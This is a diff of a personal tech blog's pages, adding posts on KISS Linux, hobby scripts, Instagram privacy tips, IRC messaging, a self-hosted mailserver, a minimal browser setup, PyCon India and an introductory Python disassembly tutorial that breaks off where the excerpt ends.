+worked. + +Well, it booted, but not into KISS. Took a while to figure out that the +culprit was `CONFIG_BLK_DEV_NVME` not having been set in the kernel +config. Rebuild & reboot later, I was in. + +### Day 2 + +Networking! How fun. An `ip a` and I see that both USB tethering +(ethernet) and wireless don't work. Great. Dug around a bit---missing +wireless drivers was the problem. Found my driver, a binary `.ucode` +from Intel (eugh!). The whole day was spent in figuring out why the +kernel would never load the firmware. I tried different +variations---loading it as a module (`=m`), baking it in (`=y`) but no +luck. + +### Day 3 + +I then tried Alpine's kernel config but that was so huge and had a *ton* +of modules and took far too long to build each time, much to my +annoyance. Diffing their config and mine was about \~3000 lines! Too +much to sift through. On a whim, I decided to scrap my entire KISS +install and start afresh. + +For some odd reason, after doing the *exact* same things I'd done +earlier, my wireless worked this time. Ethernet didn't, and still +doesn't, but that's ok. + +Building `xorg-server` was next, which took about an hour, mostly thanks +to spotty internet. The build went through fine, though what wasn't was +no input after starting X. Adding my user to the `input` group wasn't +enough. The culprit this time was a missing `xf86-xorg-input` package. +Installing that gave me my mouse back, but not the keyboard! + +It was definitely not the kernel this time, because I had a working +keyboard in the TTY. + +### Day 4 & Day 5 + +This was probably the most annoying of all, since the fix was *trivial*. +By this point I had exhausted all ideas, so I decided to build my +essential packages and setup my system. Building Firefox took nearly 9 +hours, the other stuff were much faster. + +I was still chatting on IRC during this, trying to zero down on what the +problem could be. And then: + + <dylanaraps> For starters I think st fails due to no fonts. + +Holy shit! Fonts. I hadn't installed *any* fonts. Which is why none of +the applications I tried launching via `sowm` ever launched, and hence, +I was lead to believe my keyboard was dead. + +Worth it? +--------- + +Absolutely. I *cannot* stress on how much of a learning experience this +was. Also a test of my patience and perseverance, but yeah ok. I also +think that this distro is my endgame (yeah, right), probably because +other distros will be nothing short of disappointing, in one way or +another. + +Huge thanks to the folks at `#kisslinux` on Freenode for helping me +throughout. And I mean, they *really* did. We chatted for hours on end +trying to debug my issues. + +I'll now conclude with an obligatory screenshot. + +![scrot](https://x.icyphox.sh/R6G.png) + +[^1]: https://news.ycombinator.com/item?id=21021396
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+--- +date: '2019-10-24' +subtitle: The most fun way to learn to code +title: Hacky scripts +--- + +As a CS student, I see a lot of people around me doing courses online to +learn to code. Don't get me wrong---it probably works for some. Everyone +learns differently. But that's only going to get you so far. Great you +know the syntax, you can solve some competitive programming problems, +but that's not quite enough, is it? The actual learning comes from +*applying* it in solving *actual* problems---not made up ones. (*inb4 +some seething CP bro comes at me*) + +Now, what's an actual problem? Some might define it as real world +problems that people out there face, and solving it probably requires +building a product. This is what you see in hackathons, generally. + +If you ask me, however, I like to define it as problems that *you* +yourself face. This could be anything. Heck, it might not even be a +"problem". It could just be an itch that you want to scratch. And this +is where **hacky scripts** come in. Unclear? Let me illustrate with a +few examples. + +Now playing status in my bar +---------------------------- + +If you weren't aware already---I rice my desktop. A lot. And a part of +this cohesive experience I try to create involves a status bar up at the +top of my screen, showing the time, date, volume and battery statuses +etc. + +So here's the "problem". I wanted to have my currently playing song +(Spotify), show up on my bar. How did I approach this? A few ideas +popped up in my head: + +- Send `playerctl`'s STDOUT into my bar +- Write a Python script to query Spotify's API +- Write a Python/shell script to query Last.fm's API + +The first approach bombed instantly. `playerctl` didn't recognize my +Spotify client and whined about some `dbus` issues to top it off. I +spent a while in that rabbit hole but eventually gave up. + +My next avenue was the Spotify Web API. One look at the +[docs](https://developer.spotify.com/documentation/web-api/) and I +realize that I'll have to make *more* than one request to fetch the +artist and track details. Nope, I need this to work fast. + +Last resort---Last.fm's API. Spolier alert, this worked. Also, arguably +the best choice, since it shows the track status regardless of where the +music is being played. Here's the script in its entirety: + +``` {.shell} +#!/usr/bin/env bash +# now playing +# requires the last.fm API key + +source ~/.lastfm # `export API_KEY="<key>"` +fg="$(xres color15)" +light="$(xres color8)" + +USER="icyphox" +URL="http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks" +URL+="&user=$USER&api_key=$API_KEY&format=json&limit=1&nowplaying=true" +NOTPLAYING=" " # I like to have it show nothing +RES=$(curl -s $URL) +NOWPLAYING=$(jq '.recenttracks.track[0]."@attr".nowplaying' <<< "$RES" | tr -d '"') + + +if [[ "$NOWPLAYING" = "true" ]] +then + TRACK=$(jq '.recenttracks.track[0].name' <<< "$RES" | tr -d '"') + ARTIST=$(jq '.recenttracks.track[0].artist."#text"' <<< "$RES" | tr -d '"') + echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST" +else + echo -ne "$NOTPLAYING" +fi +``` + +The `source` command is used to fetch the API key which I store at +`~/.lastfm`. The `fg` and `light` variables can be ignored, they're only +for coloring output on my bar. The rest is fairly trivial and just +involves JSON parsing with [`jq`](https://stedolan.github.io/jq/). +That's it! It's so small, but I learnt a ton. For those curious, here's +what it looks like running: + +![now playing status polybar](/static/img/now_playing.png) + +Update latest post on the index page +------------------------------------ + +This pertains to this very blog that you're reading. I wanted a quick +way to update the "latest post" section in the home page and the +[blog](/blog) listing, with a link to the latest post. This would +require editing the Markdown +[source](https://github.com/icyphox/site/tree/master/pages) of both +pages. + +This was a very interesting challenge to me, primarily because it +requires in-place editing of the file, not just appending. Sure, I +could've come up with some `sed` one-liner, but that didn't seem very +fun. Also I hate regexes. Did a lot of research (read: Googling) on +in-place editing of files in Python, sorting lists of files by +modification time etc. and this is what I ended up on, ultimately: + +``` {.python} +#!/usr/bin/env python3 + +from markdown2 import markdown_path +import os +import fileinput +import sys + +# change our cwd +os.chdir("bin") + +blog = "../pages/blog/" + +# get the most recently created file +def getrecent(path): + files = [path + f for f in os.listdir(blog) if f not in ["_index.md", "feed.xml"]] + files.sort(key=os.path.getmtime, reverse=True) + return files[0] + +# adding an entry to the markdown table +def update_index(s): + path = "../pages/_index.md" + with open(path, "r") as f: + md = f.readlines() + ruler = md.index("| --- | --: |\n") + md[ruler + 1] = s + "\n" + + with open(path, "w") as f: + f.writelines(md) + +# editing the md source in-place +def update_blog(s): + path = "../pages/blog/_index.md" + s = s + "\n" + for l in fileinput.FileInput(path, inplace=1): + if "--:" in l: + l = l.replace(l, l + s) + print(l, end=""), + + +# fetch title and date +meta = markdown_path(getrecent(blog), extras=["metadata"]).metadata +fname = os.path.basename(os.path.splitext(getrecent(blog))[0]) +url = "/blog/" + fname +line = f"| [{meta['title']}]({url}) | `{meta['date']}` |" + +update_index(line) +update_blog(line) +``` + +I'm going to skip explaining this one out, but in essence, it's **one +massive hack**. And in the end, that's my point exactly. It's very +hacky, but the sheer amount I learnt by writing this \~50 line script +can't be taught anywhere. + +This was partially how [vite](https://github.com/icyphox/vite) was born. +It was originally intended to be a script to build my site, but grew +into a full-blown Python package. I could've just used an off-the-shelf +static site generator given that there are [so +many](https://staticgen.com) of them, but I chose to write one myself. + +And that just about sums up what I wanted to say. The best and most fun +way to learn to code---write hacky scripts. You heard it here.
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+--- +date: '2019-12-02' +subtitle: Operational security for the average zoomer +title: Instagram OPSEC +--- + +Which I am not, of course. But seeing as most of my peers are, I am +compelled to write this post. Using a social platform like Instagram +automatically implies that the user understands (to some level) that +their personally identifiable information is exposed publicly, and they +sign up for the service understanding this risk---or I think they do, +anyway. But that's about it, they go ham after that. Sharing every nitty +gritty detail of their private lives without understanding the potential +risks of doing so. + +The fundamentals of OPSEC dictacte that you develop a threat model, and +Instgrammers are *obviously* incapable of doing that---so I'll do it for +them. + +Your average Instagrammer's threat model +---------------------------------------- + +I stress on the word "average", as in this doesn't apply to those with +more than a couple thousand followers. Those type of accounts inherently +face different kinds of threats---those that come with having a +celebrity status, and are not in scope of this analysis. + +- **State actors**: This doesn't *really* fit into our threat model, + since our target demographic is simply not important enough. That + said, there are select groups of individuals that operate on + Instagram[^1], and they can potentially be targetted by a state + actor. + +```{=html} +<!-- --> +``` +- **OSINT**: This is probably the biggest threat vector, simply + because of the amount of visual information shared on the platform. + A lot can be gleaned from one simple picture in a nondescript + alleyway. We'll get into this in the DOs and DON'Ts in a bit. + +- **Facebook & LE**: Instagram is the last place you want to be doing + an illegal, because well, it's logged and more importantly---not + end-to-end encrypted. Law enforcement can subpoena any and all + account information. Quoting Instagram's [page on + this](https://help.instagram.com/494561080557017): + +> a search warrant issued under the procedures described in the Federal +> Rules of Criminal Procedure or equivalent state warrant procedures +> upon a showing of probable cause is required to compel the disclosure +> of the stored contents of any account, which may include messages, +> photos, comments, and location information. + +That out of the way, here's a list of DOs and DON'Ts to keep in mind +while posting on Instagram. + +### DON'Ts + +- Use Instagram for planning and orchestrating illegal shit! I've + explained why this is a terrible idea above. Use secure comms---even + WhatsApp is a better choice, if you have nothing else. In fact, try + avoiding IG DMs altogether, use alternatives that implement E2EE. + +- Film live videos outside. Or try not to, if you can. You might + unknowingly include information about your location: street signs, + shops etc. These can be used to ascertain your current location. + +- Film live videos in places you visit often. This compromises your + security at places you're bound to be at. + +- Share your flight ticket in your story! I can't stress this + enough!!! Summer/winter break? "Look guys, I'm going home! Here's + where I live, and here's my flight number---feel free to track me!". + This scenario is especially worrisome because the start and end + points are known to the threat actor, and your arrival time can be + trivially looked up---thanks to the flight number on your ticket. + So, just don't. + +- Post screenshots with OS specific details. This might border on + pendantic, but better safe than sorry. Your phone's statusbar and + navbar are better cropped out of pictures. They reveal the time, + notifications (apps that you use), and can be used to identify your + phone's operating system. Besides, the status/nav bar isn't very + useful to your screenshot anyway. + +- Share your voice. In general, reduce your footprint on the platform + that can be used to identify you elsewhere. + +- Think you're safe if your account is set to private. It doesn't take + much to get someone who follows you, to show show your profile on + their device. + +### DOs + +- Post pictures that pertain to a specific location, once you've moved + out of the location. Also applies to stories. It can wait. + +- Post pictures that have been shot indoors. Or try to; reasons above. + Who woulda thunk I'd advocate bathroom selfies? + +- Delete old posts that are irrelevant to your current audience. Your + friends at work don't need to know about where you went to high + school. + +More DON'Ts than DOs, that's very telling. Here are a few more points +that are good OPSEC practices in general: + +- **Think before you share**. Does it conform to the rules mentioned + above? +- **Compartmentalize**. Separate as much as you can from what you + share online, from what you do IRL. Limit information exposure. +- **Assess your risks**: Do this often. People change, your + environments change, and consequentially the risks do too. + +Fin +--- + +Instagram is---much to my dismay---far too popular for it to die any +time soon. There are plenty of good reasons to stop using the platform +altogether (hint: Facebook), but that's a discussion for another day. + +Or be like me: + +![0 posts lul](/static/img/ig.jpg) + +And that pretty much wraps it up, with a neat little bow. + +[^1]: https://darknetdiaries.com/episode/51/---Jack talks about Indian + hackers who operate on Instagram.
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+--- +date: '2019-10-28' +subtitle: 'To protect an asset, or to protect the people?' +title: The intelligence conundrum +--- + +I watched the latest +[S.W.A.T.](https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)) +episode a couple of days ago, and it highlighted some interesting issues +that intelligence organizations face when working with law enforcement. +Side note: it's a pretty good show if you like police procedurals. + +The problem +----------- + +Consider the following scenario: + +- There's a local drug lord who's been recruited to provide intel, by + a certain 3-letter organization. +- Local PD busts his operation and proceed to arrest him. +- 3-letter org steps in, wants him released. + +So here's the thing, his presence is a threat to public but at the same +time, he can be a valuable long term asset---giving info on drug inflow, +exchanges and perhaps even actionable intel on bigger fish who exist on +top of the ladder. But he also seeks security. The 3-letter org must +provide him with protection, in case he's blown. And like in our case, +they'd have to step in if he gets arrested. + +Herein lies the problem. How far should an intelligence organization go +to protect an asset? Who matters more, the people they've sworn to +protect, or the asset? Because afterall, in the bigger picture, local PD +and intel orgs are on the same side. + +Thus, the question arises---how can we measure the "usefulness" of an +asset to better quantify the tradeoff that is to be made? Is the intel +gained worth the loss of public safety? This question remains largely +unanswered, and is quite the predicament should you find yourself in it. + +This was a fairly short post, but an interesting problem to ponder +nonetheless.
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+--- +date: '2019-11-03' +subtitle: 'Honestly, it''s pretty great' +title: IRC for DMs +--- + +[Nerdy](https://nerdypepper.me) and I decided to try and use IRC for our +daily communications, as opposed to non-free alternatives like WhatsApp +or Telegram. This is an account of how that went. + +The status quo of instant messaging apps +---------------------------------------- + +I've tried a *ton* of messaging applications---Signal, WhatsApp, +Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, +DeltaChat. + +**Signal**: It straight up sucks on Android. Not to mention the +centralized architecture, and OWS's refusal to federate. + +**WhatsApp**: Facebook's spyware that people use without a second +thought. The sole reason I have it installed is for University's class +groups; I can't wait to graduate. + +**Telegram**: Centralized architecture and a closed-source server. It's +got a very nice Android client, though. + +**Jami**: Distributed platform, free software. I am not going to comment +on this because I don't recall what my experience was like, but I'm not +using it now... so if that's indicative of anything. + +**Matrix (Riot)**: Distributed network. Multiple client implementations. +Overall, pretty great, but it's slow. I've had messages not send / not +received a lot of times. Matrix + Riot excels in group communication, +but really sucks for one-to-one chats. + +**Slack** / **Discord**: *sigh* + +**DeltaChat**: Pretty interesting idea---on paper. Using existing email +infrastructure for IM sounds great, but it isn't all that cash in +practice. Email isn't instant, there's always a delay of give or take 5 +to 10 seconds, if not more. This affects the flow of conversation. I +might write a small blog post later, revewing DeltaChat.[^1] + +Why IRC? +-------- + +It's free, in all senses of the word. A lot of others have done a great +job of answering this question in further detail, this is by far my +favourite: + +https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html + +Using IRC's private messages +---------------------------- + +This was the next obvious choice, but personal message buffers don't +persist in ZNC and it's very annoying to have to do a +`/query nerdypepper` (Weechat) or to search and message a user via +Revolution IRC. The only unexplored option---using a channel. + +Setting up a channel for DMs +---------------------------- + +A fairly easy process: + +- Set modes (on Rizon)[^2]: + + #crimson [+ilnpstz 3] + + In essence, this limits the users to 3 (one bot), sets the channel + to invite only, hides the channel from `/whois` and `/list`, and a + few other misc. modes. + +- Notifications: Also a trivial task; a quick modification to + [lnotify.py](https://weechat.org/scripts/source/lnotify.py.html/) to + send a notification for all messages in the specified buffer + (`#crimson`) did the trick for Weechat. Revolution IRC, on the other + hand, has an option to setup rules for notifications---super + convenient. + +- A bot: Lastly, a bot for a few small tasks---fetching URL titles, + responding to `.np` (now playing) etc. Writing an IRC bot is dead + simple, and it took me about an hour or two to get most of the basic + functionality in place. The source is + [here](https://github.com/icyphox/detotated). It is by no means + "good code"; it breaks spectacularly from time to time. + +In conclusion +------------- + +As the subtitle suggests, using IRC has been great. It's probably not +for everyone though, but it fits my (and Nerdy's) usecase perfectly. + +P.S.: *I'm not sure why the footnotes are reversed.* + +[^1]: It's in [queue](https://github.com/icyphox/site/issues/10). + +[^2]: Channel modes on + [Rizon](https://wiki.rizon.net/index.php?title=Channel_Modes).
A pages/txt/mailserver.txt

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+--- +date: '2019-08-15' +subtitle: This is probably a terrible idea... +template: text.html +title: Setting up my personal mailserver +--- + +A mailserver was a long time coming. I'd made an attempt at setting one +up around \~4 years ago (ish), and IIRC, I quit when it came to DNS. And +I almost did this time too.[^1] + +For this attempt, I wanted a simpler approach. I recall how terribly +confusing Dovecot & Postfix were to configure and hence I decided to +look for a containerized solution, that most importantly, runs on my +cheap \$5 Digital Ocean VPS --- 1 vCPU and 1 GB memory. Of which only +around 500 MB is actually available. So yeah, *pretty* tight. + +What's available +---------------- + +Turns out, there are quite a few of these OOTB, ready to deply +solutions. These are the ones I came across: + +- [poste.io](https://poste.io): Based on an "open core" model. The + base install is open source and free (as in beer), but you'll have + to pay for the extra stuff. + +- [mailu.io](https://mailu.io): Free software. Draws inspiration from + poste.io, but ships with a web UI that I didn't need. + +- [mailcow.email](https://mailcow.email): These fancy domains are + getting ridiculous. But more importantly they need 2 GiB of RAM + *plus* swap?! Nope. + +- [Mail-in-a-Box](https://mailinabox.email): Unlike the ones above, + not a Docker-based solution but definitely worth a mention. It + however, needs a fresh box to work with. A box with absolutely + nothing else on it. I can't afford to do that. + +- [docker-mailserver](https://github.com/tomav/docker-mailserver/): + **The winner**. + +So... `docker-mailserver` +------------------------- + +The first thing that caught my eye in the README: + +> Recommended: +> +> - 1 CPU +> - 1GB RAM +> +> Minimum: +> +> - 1 CPU +> - 512MB RAM + +Fantastic, I can somehow squeeze this into my existing VPS. Setup was +fairly simple & the docs are pretty good. It employs a single `.env` +file for configuration, which is great. However, I did run into a couple +of hiccups here and there. + +One especially nasty one was `docker` / `docker-compose` running out of +memory. + + Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory + +But it eventually worked after a couple of attempts. + +The next thing I struggled with --- DNS. Specifically, the with the step +where the DKIM keys are generated[^2]. The output under\ +`config/opendkim/keys/domain.tld/mail.txt`\ +isn't exactly CloudFlare friendly; they can't be directly copy-pasted +into a `TXT` record. + +This is what it looks like. + + mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; " + "p=<key>" + "<more key>" ) ; ----- DKIM key mail for icyphox.sh + +But while configuring the record, you set "Type" to `TXT`, "Name" to +`mail._domainkey`, and the "Value" to what's inside the parenthesis +`( )`, *removing* the quotes `""`. Also remove the part that appears to +be a comment `; ----- ...`. + +To simplify debugging DNS issues later, it's probably a good idea to +point to your mailserver using a subdomain like `mail.domain.tld` using +an `A` record. You'll then have to set an `MX` record with the "Name" as +`@` (or whatever your DNS provider uses to denote the root domain) and +the "Value" to `mail.domain.tld`. And finally, the `PTR` (pointer +record, I think), which is the reverse of your `A` record --- "Name" as +the server IP and "Value" as `mail.domain.tld`. I learnt this part the +hard way, when my outgoing email kept getting rejected by Tutanota's +servers. + +Yet another hurdle --- SSL/TLS certificates. This isn't very properly +documented, unless you read through the +[wiki](https://github.com/tomav/docker-mailserver/wiki/Installation-Examples) +and look at an example. In short, install `certbot`, have port 80 free, +and run + +``` {.shell} +$ certbot certonly --standalone -d mail.domain.tld +``` + +Once that's done, edit the `docker-compose.yml` file to mount +`/etc/letsencrypt` in the container, something like so: + +``` {.yaml} +... + +volumes: + - maildata:/var/mail + - mailstate:/var/mail-state + - ./config/:/tmp/docker-mailserver/ + - /etc/letsencrypt:/etc/letsencrypt + +... +``` + +With this done, you shouldn't have mail clients complaining about wonky +certs for which you'll have to add an exception manually. + +Why would you...? +----------------- + +There are a few good reasons for this: + +### Privacy + +No really, this is *the* best choice for truly private email. Not +ProtonMail, not Tutanota. Sure, they claim so and I don't dispute it. +Quoting Drew Devault[^3], + +> Truly secure systems do not require you to trust the service provider. + +But you have to *trust* ProtonMail. They run open source software, but +how can you really be sure that it isn't a backdoored version of it? + +When you host your own mailserver, you truly own your email without +having to rely on any third-party. This isn't an attempt to spread FUD. +In the end, it all depends on your threat model™. + +### Decentralization + +Email today is basically run by Google. Gmail has over 1.2 *billion* +active users. That's obscene. Email was designed to be decentralized but +big corps swooped in and made it a product. They now control your data, +and it isn't unknown that Google reads your mail. This again loops back +to my previous point, privacy. Decentralization guarantees privacy. When +you control your mail, you subsequently control who reads it. + +### Personalization + +Can't ignore this one. It's cool to have a custom email address to flex. + +`x@icyphox.sh` vs `gabe.newell4321@gmail.com` + +Pfft, this is no competition. + +[^1]: My [tweet](https://twitter.com/icyphox/status/1161648321548566528) + of frustration. + +[^2]: [Link](https://github.com/tomav/docker-mailserver#generate-dkim-keys) + to step in the docs. + +[^3]: From his [article](https://drewdevault.com/2018/08/08/Signal.html) + on why he doesn't trust Signal.
A pages/txt/mnml-browsing.txt

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+After having recently installed [KISS](https://getkiss.org), and +building Firefox from source, I was exposed to the true monstrosity that +Firefox---and web browsers in general---is. It took all of 9 hours to +build the dependencies and then Firefox itself. + +Sure, KISS now ships Firefox binaries in the +[firefox-bin](https://github.com/kisslinux/repo/tree/master/extra/firefox-bin) +package; I decided to get rid of that slow mess anyway. + +Enter vimb +---------- + +[vimb](https://fanglingsu.github.io/vimb/) is a browser based on +[webkit2gtk](https://webkitgtk.org/), with a Vim-like interface. +`webkit2gtk` builds in less than a minute---it blows Firefox out of the +water, on that front. + +There isn't much of a UI to it---if you've used Vimperator/Pentadactyl +(Firefox plugins), vimb should look familiar to you. It can be +configured via a `config.h` or a text based config file at +`~/.config/vimb/config`. Each "tab" opens a new instance of vimb, in a +new window but this can get messy really fast if you have a lot of tabs +open. + +Enter tabbed +------------ + +[tabbed](https://tools.suckless.org/tabbed/) is a tool to *embed* X apps +which support xembed into a tabbed UI. This can be used in conjunction +with vimb, like so: + + tabbed vimb -e + +Where the `-e` flag is populated with the `XID`, by tabbed. Configuring +Firefox-esque keybinds in tabbed's `config.h` is relatively easy. Once +that's done---voilà! A fairly sane, Vim-like browsing experience that's +faster and has a smaller footprint than Firefox. + +Ad blocking +----------- + +Ad blocking support isn't built-in and there is no plugin system +available. There are two options for ad blocking: + +1. [wyebadblock](https://github.com/jun7/wyebadblock) +2. `/etc/hosts` + +Caveats +------- + +*Some* websites tend to not work because they detect vimb as an older +version of Safari (same web engine). This is a minor inconvenience, and +not a dealbreaker for me. I also cannot login to Google's services for +some reason, which is mildly annoying, but it's good in a way---I am now +further incentivised to dispose of my Google account. + +And here's the screenshot y'all were waiting for: + +![vimb](/static/img/vimb.png)
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+--- +date: '2019-05-13' +subtitle: 'My daily drivers---hardware, software and workflow' +template: text.html +title: My Setup +--- + +Hardware +-------- + +The only computer I have with me is my [HP Envy 13 +(2018)](https://store.hp.com/us/en/mdp/laptops/envy-13) (my model looks +a little different). It's a 13" ultrabook, with an i5 8250u, 8 gigs of +RAM and a 256 GB NVMe SSD. It's a very comfy machine that does +everything I need it to. + +For my phone, I use a [OnePlus 6T](https://www.oneplus.in/6t), running +stock [OxygenOS](https://www.oneplus.in/oxygenos). As of this writing, +its bootloader hasn't been unlocked and nor has the device been rooted. +I'm also a proud owner of a [Nexus +5](https://en.wikipedia.org/wiki/Nexus_5), which I really wish Google +rebooted. It's surprisingly still usable and runs Android Pie, although +the SIM slot is ruined and the battery backup is abysmal. + +My watch is a [Samsung Gear S3 +Frontier](https://www.samsung.com/in/wearables/gear-s3-frontier-r760/). +Tizen is definitely better than Android Wear. + +My keyboard, although not with me in college, is a very old [Dell +SK-8110](https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO). +For the little bit of gaming that I do, I use a [HP +m150](https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html) +gaming mouse. It's the perfect size (and color). + +For my music, I use the [Bose SoundLink +II](https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html). +Great pair of headphones, although the ear cups need replacing. + +And the software +---------------- + +```{=html} +<del> +``` +My distro of choice for the past \~1 year has been [elementary +OS](https://elementary.io). I used to be an Arch Linux elitist, complete +with an esoteric window manager, all riced. I now use whatever +JustWorks™. +```{=html} +</del> +``` +**Update**: As of June 2019, I've switched over to a vanilla Debian 9 +Stretch install, running [i3](https://i3wm.org) as my window manager. If +you want, you can dig through my configs at my +[dotfiles](https://github.com/icyphox/dotfiles) repo. + +Here's a (riced) screenshot of my desktop. + +![scrot](https://i.redd.it/jk574gworp331.png) + +Most of my work is done in either the browser, or the terminal. My shell +is pure [zsh](http://www.zsh.org), as in no plugin frameworks. It's +customized using built-in zsh functions. Yes, you don't actually need a +framework. It's useless bloat. The prompt itself is generated using a +framework I built in +[Nim](https://nim-lang.org)---[nicy](https://github.com/icyphox/nicy). +My primary text editor is [nvim](https://neovim.org). Again, all configs +in my dotfiles repo linked above. I manage all my passwords using +[pass(1)](https://passwordstore.org), and I use +[rofi-pass](https://github.com/carnager/rofi-pass) to access them via +`rofi`. + +Most of my security tooling is typically run via a Kali Linux docker +container. This is convenient for many reasons, keeps your global +namespace clean and a single command to drop into a Kali shell. + +I use a DigitalOcean droplet (BLR1) as a public filehost, found at +[x.icyphox.sh](https://x.icyphox.sh). The UI is the wonderful +[serve](https://github.com/zeit/serve), by [ZEIT](https://zeit.co). The +same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel +via SSH running on 443. Campus firewall woes. + +I plan on converting my desktop back at home into a homeserver setup. +Soon™.
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+--- +date: '2019-10-15' +subtitle: 'Pretty fun weekend, I''d say' +title: 'PyCon India 2019 wrap-up' +--- + +I'm writing this article as I sit in class, back on the grind. Last +weekend---Oct 12th and 13th---was PyCon India 2019, in Chennai, India. +It was my first PyCon, *and* my first ever talk at a major conference! +This is an account of the all the cool stuff I saw, people I met and the +talks I enjoyed. Forgive the lack of pictures---I prefer living the +moment through my eyes. + +Talks +----- + +So much ML! Not that it's a bad thing, but definitely interesting to +note. From what I counted, there were about 17 talks tagged under "Data +Science, Machine Learning and AI". I'd have liked to see more talks +discussing security and privacy, but hey, the organizers can only pick +from what's submitted. ;) + +With that point out of the way, here are some of the talks I really +liked: + +- **Python Packaging - where we are and where we're headed** by + [Pradyun](https://twitter.com/pradyunsg) +- **Micropython: Building a Physical Inventory Search Engine** by + [Vinay](https://twitter.com/stonecharioteer) +- **Ragabot - Music Encoded** by + [Vikrant](https://twitter.com/vikipedia) +- **Let's Hunt a Memory Leak** by + [Sanket](https://twitter.com/sankeyplus) +- oh and of course, [David Beazley](https://twitter.com/dabeaz)'s + closing keynote + +My talk (!!!) +------------- + +My good buddy [Raghav](https://twitter.com/_vologue) and I spoke about +our smart lock security research. Agreed, it might have been less +"hardware" and more of a bug on the server-side, but that's the thing +about IoT right? It's so multi-faceted, and is an amalgamation of so +many different hardware and software stacks. But, anyway... + +I was reassured by folks after the talk that the silence during Q/A was +the "good" kind of silence. Was it really? I'll never know. + +Some nice people I met +---------------------- + +- [Abhirath](https://twitter.com/abhirathb)---A 200 IQ lad. Talked to + me about everything from computational biology to the physical + implementation of quantum computers. +- [Abin](https://twitter.com/meain_)---He recognized me from my + [r/unixporn](https://reddit.com/r/unixporn) posts, which was pretty + awesome. +- [Abhishek](https://twitter.com/h6165) +- Pradyun and Vikrant (linked earlier) + +And a lot of other people doing really great stuff, whose names I'm +forgetting. + +Pictures! +--------- + +It's not much, and I can't be bothered to format them like a collage or +whatever, so I'll just dump them here---as is. + +![nice badge](/static/img/silly_badge.jpg) ![awkward +smile!](/static/img/abhishek_anmol.jpg) ![me +talking](/static/img/me_talking.jpg) ![s443 @ +pycon](/static/img/s443_pycon.jpg) + +C'est tout +---------- + +Overall, a great time and a weekend well spent. It was very different +from your typical security conference---a lot more *chill*, if you will. +The organizers did a fantastic job and the entire event was put together +really well. I don't have much else to say, but I know for sure that +I'll be there next time. + +That was PyCon India, 2019.
A pages/txt/python-for-re-1.txt

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+--- +date: '2019-02-08' +subtitle: 'Building your own disassembly tooling for --- that''s + right --- fun and profit' +template: text.html +title: Python for Reverse Engineering +--- + +While solving complex reversing challenges, we often use established +tools like radare2 or IDA for disassembling and debugging. But there are +times when you need to dig in a little deeper and understand how things +work under the hood. + +Rolling your own disassembly scripts can be immensely helpful when it +comes to automating certain processes, and eventually build your own +homebrew reversing toolchain of sorts. At least, that's what I'm +attempting anyway. + +Setup +----- + +As the title suggests, you're going to need a Python 3 interpreter +before anything else. Once you've confirmed beyond reasonable doubt that +you do, in fact, have a Python 3 interpreter installed on your system, +run + +``` {.console} +$ pip install capstone pyelftools +``` + +where `capstone` is the disassembly engine we'll be scripting with and +`pyelftools` to help parse ELF files. + +With that out of the way, let's start with an example of a basic +reversing challenge. + +``` {.c} +/* chall.c */ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +int main() { + char *pw = malloc(9); + pw[0] = 'a'; + for(int i = 1; i <= 8; i++){ + pw[i] = pw[i - 1] + 1; + } + pw[9] = '\0'; + char *in = malloc(10); + printf("password: "); + fgets(in, 10, stdin); // 'abcdefghi' + if(strcmp(in, pw) == 0) { + printf("haha yes!\n"); + } + else { + printf("nah dude\n"); + } +} +``` + +Compile it with GCC/Clang: + +``` {.console} +$ gcc chall.c -o chall.elf +``` + +Scripting +--------- + +For starters, let's look at the different sections present in the +binary. + +``` {.python} +# sections.py + +from elftools.elf.elffile import ELFFile + +with open('./chall.elf', 'rb') as f: + e = ELFFile(f) + for section in e.iter_sections(): + print(hex(section['sh_addr']), section.name) +``` + +This script iterates through all the sections and also shows us where +it's loaded. This will be pretty useful later. Running it gives us + +``` {.console} +› python sections.py +0x238 .interp +0x254 .note.ABI-tag +0x274 .note.gnu.build-id +0x298 .gnu.hash +0x2c0 .dynsym +0x3e0 .dynstr +0x484 .gnu.version +0x4a0 .gnu.version_r +0x4c0 .rela.dyn +0x598 .rela.plt +0x610 .init +0x630 .plt +0x690 .plt.got +0x6a0 .text +0x8f4 .fini +0x900 .rodata +0x924 .eh_frame_hdr +0x960 .eh_frame +0x200d98 .init_array +0x200da0 .fini_array +0x200da8 .dynamic +0x200f98 .got +0x201000 .data +0x201010 .bss +0x0 .comment +0x0 .symtab +0x0 .strtab +0x0 .shstrtab +``` + +Most of these aren't relevant to us, but a few sections here are to be +noted. The `.text` section contains the instructions (opcodes) that +we're after. The `.data` section should have strings and constants +initialized at compile time. Finally, the `.plt` which is the Procedure +Linkage Table and the `.got`, the Global Offset Table. If you're unsure +about what these mean, read up on the ELF format and its internals. + +Since we know that the `.text` section has the opcodes, let's +disassemble the binary starting at that address. + +``` {.python} +# disas1.py + +from elftools.elf.elffile import ELFFile +from capstone import * + +with open('./bin.elf', 'rb') as f: + elf = ELFFile(f) + code = elf.get_section_by_name('.text') + ops = code.data() + addr = code['sh_addr'] + md = Cs(CS_ARCH_X86, CS_MODE_64) + for i in md.disasm(ops, addr): + print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') +``` + +The code is fairly straightforward (I think). We should be seeing this, +on running + +``` {.console} +› python disas1.py | less +0x6a0: xor ebp, ebp +0x6a2: mov r9, rdx +0x6a5: pop rsi +0x6a6: mov rdx, rsp +0x6a9: and rsp, 0xfffffffffffffff0 +0x6ad: push rax +0x6ae: push rsp +0x6af: lea r8, [rip + 0x23a] +0x6b6: lea rcx, [rip + 0x1c3] +0x6bd: lea rdi, [rip + 0xe6] +**0x6c4: call qword ptr [rip + 